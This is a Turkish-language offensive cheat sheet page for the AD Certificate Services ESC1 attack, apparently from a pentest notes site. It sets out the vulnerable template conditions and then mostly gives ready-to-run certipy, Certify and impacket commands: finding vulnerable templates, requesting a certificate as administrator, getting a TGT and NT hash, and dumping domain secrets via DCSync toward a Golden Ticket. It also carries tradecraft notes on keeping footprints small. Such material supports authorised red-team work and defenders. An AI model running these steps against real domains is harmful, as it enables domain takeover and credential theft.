Skip to content

ADCS — ESC1

kaynak: SpecterOps Certified Pre-Owned impact: domain dominasyonu

kaynak: SpecterOps Certified Pre-Owned impact: domain dominasyonu

AD Certificate Services (ADCS), sertifika şablonları yanlış yapılandırıldığında ciddi bir yükseltme yoludur. ESC1, en yaygın senaryodur: düşük yetkili kullanıcıların Enroll olabildiği ve ENROLLEE_SUPPLIES_SUBJECT ile istemcinin özneyi (SAN/UPN) belirlemesine izin veren bir Client Authentication şablonu. Saldırgan SAN’a Administrator (veya DA) yazıp geçerli sertifika alır; PKINIT ile Kerberos TGT + NT hash elde eder.

KoşulAçıklama
Client Authentication EKUClient Auth / Smart Card Logon / Any Purpose
ENROLLEE_SUPPLIES_SUBJECTİstemci CN/SAN belirler
Low-priv EnrollDomain Users / Authenticated Users enroll
Manager approval yokBekleyen istek yok
Authorized signatures yokEk imza şartı yok

Diğer ESC’ler (ESC2–ESC14) farklı kombinasyonlar; ESC1 “SAN’ı ben yazarım” klasikidir. ESC8: ADCS ESC8.

Terminal window
certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -vulnerable -stdout
Terminal window
certipy find -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.5 -vulnerable -json -output adcs
Terminal window
certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -stdout -enabled
Terminal window
Certify.exe find /vulnerable
Terminal window
Certify.exe find /showAllPermissions

ADCS ESC1 · certipy req

embedded tool
Generated command
certipy req -u lowpriv@domain.local -p Pass123 -ca domain-CA -template VulnerableTemplate -upn administrator@domain.local -dc-ip 10.10.10.5
  1. SAN’ı Administrator olarak sertifika iste :

    Terminal window
    certipy req -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 \
    -ca 'DOMAIN-CA' -template 'VulnTemplate' \
    -upn administrator@domain.local
    Terminal window
    certipy req -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 \
    -ca 'DOMAIN-CA' -template 'VulnTemplate' \
    -upn administrator@domain.local -sid S-1-5-21-...-500
    Terminal window
    certipy req -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.5 \
    -ca 'DOMAIN-CA' -template 'VulnTemplate' -upn administrator@domain.local
    Terminal window
    Certify.exe request /ca:CA01.domain.local\DOMAIN-CA \
    /template:VulnTemplate /altname:administrator
  2. Sertifika ile kimlik doğrula — TGT + NT hash:

    Terminal window
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
    Terminal window
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5 -domain domain.local
  3. Dominasyon :

    Terminal window
    export KRB5CCNAME=administrator.ccache
    Terminal window
    impacket-secretsdump -k -no-pass domain.local/Administrator@dc01.domain.local

Microsoft KB5014754 sonrası UPN ile çelişen sertifikalarda SID extension beklenebilir. Certipy -sid ekler; auth fail olursa SID’li yeniden iste.

Terminal window
nxc ldap DC -u user -p pass --get-sid
Terminal window
certipy req ... -upn administrator@domain.local -sid S-1-5-21-...-500
□ Certificate request Event’leri CA/DC’de (altname)
□ Tek sefer DA cert + hash sakla; tekrar req etme
□ PFX diskte bırakma
□ CA / template adı case-sensitive olabilir
□ Yanlış CA ismi (DOMAIN-CA vs FQDN\CA)
□ Template enroll hakkın yok — find başka grup için
□ EKU Client Auth değil → PKINIT fail
□ clock skew / DNS
□ Bazı şablonlar CN ister — hata mesajını oku
Low-priv → certipy find ESC1
→ req -upn administrator@
→ auth → NT hash
→ DCSync → Golden Ticket
Terminal window
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out admin.pfx
Terminal window
certipy auth -pfx admin.pfx -dc-ip 10.10.10.5

ADCS ESC8 · DCSync · Shadow Credentials · Pass-the-Ticket